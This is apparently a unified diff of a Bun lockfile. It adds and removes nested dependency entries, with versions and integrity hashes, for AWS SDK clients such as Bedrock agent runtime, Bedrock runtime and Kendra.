"@aws-sdk/client-bedrock-agent-runtime/@smithy/hash-node": ["@smithy/hash-node@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kKU0gVhx/ppVMntvUOZE7WRMFW86HuaxLwvqileBEjL7PoILI8/djoILw3gPQloGVE6O0oOzqafxeNi2KbnUJw=="],
@@ -4755,8 +5053,12 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
@@ -4771,88 +5073,12 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/core": ["@aws-sdk/core@3.947.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/xml-builder": "3.930.0", "@smithy/core": "^3.18.7", "@smithy/node-config-provider": "^4.3.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Khq4zHhuAkvCFuFbgcy3GrZTzfSX7ZIjIcW1zRDxXRLZKRtuhnZdonqTUfaWi5K42/4OmxkYNpsO7X7trQOeHw=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.952.0", "", { "dependencies": { "@aws-sdk/credential-provider-env": "3.947.0", "@aws-sdk/credential-provider-http": "3.947.0", "@aws-sdk/credential-provider-ini": "3.952.0", "@aws-sdk/credential-provider-process": "3.947.0", "@aws-sdk/credential-provider-sso": "3.952.0", "@aws-sdk/credential-provider-web-identity": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/credential-provider-imds": "^4.2.5", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-pj7nidLrb3Dz9llcUPh6N0Yv1dBYTS9xJqi8u0kI8D5sn72HJMB+fIOhcDQVXXAw/dpVolOAH9FOAbog5JDAMg=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-tAaObaAnsP1XnLGndfkGWFuzrJYuk9W0b/nLvol66t8FZExIAf/WdkT2NNAWOYxljVs++oHnyHBCxIlaHrzSiw=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-aPSJ12d3a3Ea5nyEnLbijCaaYJT2QjQ9iW+zGh5QcZYXmOGWbKVyPSxmVOboZQG+c1M8t6d2O7tqrwzIq8L8qw=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.948.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws/lambda-invoke-store": "^0.2.2", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-Qa8Zj+EAqA0VlAVvxpRnpBpIWJI9KUwaioY1vkeNVwXPlNaz9y9zCKVM9iU9OZ5HXpoUg6TnhATAHXHAE8+QsQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@smithy/core": "^3.18.7", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-7rpKV8YNgCP2R4F9RjWZFcD2R+SO/0R4VHIbY9iZJdH2MzzJ8ZG7h8dZ2m8QkQd1fjx4wrFJGGPJUTYXPV3baA=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/config-resolver": "^4.4.3", "@smithy/node-config-provider": "^4.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-wOKhzzWsshXGduxO4pqSiNyL9oUtk4BEvjWm9aaq6Hmfdoydq6v6t0rAGHWPjFwy9z2haovGRi3C8IxdMB4muw=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-endpoints": "^3.2.5", "tslib": "^2.6.2" } }, "sha512-0Zx3Ntdpu+z9Wlm7JKUBOzS9EunwKAb4KdGUQQxDqh5Lc3ta5uBoub+FgmVuzwnmBu9U1Os8UuwVTH0Lgu+P5w=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-eZ/XF6NxMtu+iCma58GRNRxSq4lHo6zHQLOZRIeL/ghqYJirqHdenMOwrzPettj60KWlv827RVebP9oNVrwZbw=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.947.0", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/node-config-provider": "^4.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-+vhHoDrdbb+zerV4noQk1DHaUMNzWFWPpPYjVTwW2186k5BEJIecAMChYkghRrBVJ3KPWP1+JnZwOd72F3d4rQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/config-resolver": ["@smithy/config-resolver@4.4.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/types": "^4.10.0", "@smithy/util-config-provider": "^4.2.0", "@smithy/util-endpoints": "^3.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-s3U5ChS21DwU54kMmZ0UJumoS5cg0+rGVZvN6f5Lp6EbAVi0ZyP+qDSHdewfmXKUgNK1j3z45JyzulkDukrjAA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/core": ["@smithy/core@3.19.0", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.7", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-stream": "^4.5.7", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-Y9oHXpBcXQgYHOcAEmxjkDilUbSTkgKjoHYed3WaYUH8jngq8lPWDBSpjHblJ9uOgBdy5mh3pzebrScDdYr29w=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.6", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-6OiaAaEbLB6dEkRbQyNzFSJv5HDvly3Mc6q/qcPd2uS/g3szR8wAIkh7UndAFKfMypNSTuZ6eCBmgCLR5LacTg=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-xP5YXbOVRVN8A4pDnSUkEUsL9fYFU6VNhxo8tgr13YnMbf3Pn4xVr+hSyLVjS1Frfi1Uk03ET5Bwml4+0CeYEw=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.6", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-jhH7nJuaOpnTFcuZpWK9dqb6Ge2yGi1okTo0W6wkJrfwAm2vwmO74tF1v07JmrSyHBcKLQATEexclJw9K1Vj7w=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/hash-node": ["@smithy/hash-node@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-k3Dy9VNR37wfMh2/1RHkFf/e0rMyN0pjY0FdyY6ItJRjENYyVPRMwad6ZR1S9HFm6tTuIOd9pqKBmtJ4VHxvxg=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-E4t/V/q2T46RY21fpfznd1iSLTvCXKNKo4zJ1QuEFN4SE9gKfu2vb6bgq35LpufkQ+SETWIC7ZAf2GGvTlBaMQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.2.6", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-0cjqjyfj+Gls30ntq45SsBtqF3dfJQCeqQPyGz58Pk8OgrAr5YiB7ZvDzjCA94p4r6DCI4qLm7FKobqBjf515w=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.0", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-serde": "^4.2.7", "@smithy/node-config-provider": "^4.3.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-M6qWfUNny6NFNy8amrCGIb9TfOMUkHVtg9bHtEFGRgfH7A7AtPpn/fcrToGPjVDK1ECuMVvqGQOXcZxmu9K+7A=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/middleware-retry": ["@smithy/middleware-retry@4.4.16", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/protocol-http": "^5.3.6", "@smithy/service-error-classification": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-retry": "^4.2.6", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-XPpNhNRzm3vhYm7YCsyw3AtmWggJbg1wNGAoqb7NBYr5XA5isMRv14jgbYyUV6IvbTBFZQdf2QpeW43LrRdStQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-JSbALU3G+JS4kyBZPqnJ3hxIYwOVRV7r9GNQMS6j5VsQDo5+Es5nddLfr9TQlxZLNHPvKSh+XSB0OuWGfSWFcA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.6", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-fYEyL59Qe82Ha1p97YQTMEQPJYmBS+ux76foqluaTVWoG9Px5J53w6NvXZNE3wP7lIicLDF7Vj1Em18XTX7fsA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/smithy-client": ["@smithy/smithy-client@4.10.1", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-endpoint": "^4.4.0", "@smithy/middleware-stack": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-stream": "^4.5.7", "tslib": "^2.6.2" } }, "sha512-1ovWdxzYprhq+mWqiGZlt3kF69LJthuQcfY9BIyHx9MywTFKzFapluku1QXoaBB43GCsLDxNqS+1v30ure69AA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/url-parser": ["@smithy/url-parser@4.2.6", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tVoyzJ2vXp4R3/aeV4EQjBDmCuWxRa8eo3KybL7Xv4wEM16nObYh7H1sNfcuLWHAAAzb0RVyxUz1S3sGj4X+Tg=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.2.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-h53dz/pISVrVrfxV1iqXlx5pRg3V2YWFcSQyPyXZRrZoZj4R4DeWRDo1a7dd3CPTcFi3kE+98tuNyD2axyZReA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.3.15", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-LiZQVAg/oO8kueX4c+oMls5njaD2cRLXRfcjlTYjhIqmwHnCwkQO5B3dMQH0c5PACILxGAQf6Mxsq7CjlDc76A=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.2.18", "", { "dependencies": { "@smithy/config-resolver": "^4.4.4", "@smithy/credential-provider-imds": "^4.2.6", "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-Kw2J+KzYm9C9Z9nY6+W0tEnoZOofstVCMTshli9jhQbQCy64rueGfKzPfuFBnVUqZD9JobxTh2DzHmPkp/Va/Q=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-v60VNM2+mPvgHCBXEfMCYrQ0RepP6u6xvbAkMenfe4Mi872CqNkJzgcnQL837e8NdeDxBgrWQRTluKq5Lqdhfg=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-retry": ["@smithy/util-retry@4.2.6", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-x7CeDQLPQ9cb6xN7fRJEjlP9NyGW/YeXWc4j/RUhg4I+H60F0PEeRc2c/z3rm9zmsdiMFzpV/rT+4UHW6KM1SA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
-
"@aws-sdk/client-cognito-identity/@aws-sdk/core": ["@aws-sdk/core@3.623.0", "", { "dependencies": { "@smithy/core": "^2.3.2", "@smithy/node-config-provider": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/signature-v4": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/util-middleware": "^3.0.3", "fast-xml-parser": "4.4.1", "tslib": "^2.6.2" } }, "sha512-8Toq3X6trX/67obSdh4K0MFQY4f132bEbr1i0YPDWk/O3KdBt12mLC/sW3aVRnlIs110XMuX9yrWWqJ8fDW10g=="],
"@aws-sdk/client-cognito-identity/@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.623.0", "", { "dependencies": { "@aws-sdk/credential-provider-env": "3.620.1", "@aws-sdk/credential-provider-http": "3.622.0", "@aws-sdk/credential-provider-ini": "3.623.0", "@aws-sdk/credential-provider-process": "3.620.1", "@aws-sdk/credential-provider-sso": "3.623.0", "@aws-sdk/credential-provider-web-identity": "3.621.0", "@aws-sdk/types": "3.609.0", "@smithy/credential-provider-imds": "^3.2.0", "@smithy/property-provider": "^3.1.3", "@smithy/shared-ini-file-loader": "^3.1.4", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-qDwCOkhbu5PfaQHyuQ+h57HEx3+eFhKdtIw7aISziWkGdFrMe07yIBd7TJqGe4nxXnRF1pfkg05xeOlMId997g=="],
@@ -4971,8 +5197,12 @@
"@aws-sdk/client-kendra/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
+ "@aws-sdk/client-kendra/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
"@aws-sdk/client-kendra/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
+ "@aws-sdk/client-kendra/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
+
"@aws-sdk/client-kendra/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
"@aws-sdk/client-kendra/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
@@ -4987,11 +5217,13 @@
"@aws-sdk/client-kendra/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
+ "@aws-sdk/client-kendra/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@aws-sdk/client-kendra/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@aws-sdk/client-kendra/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
- "@aws-sdk/client-s3/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
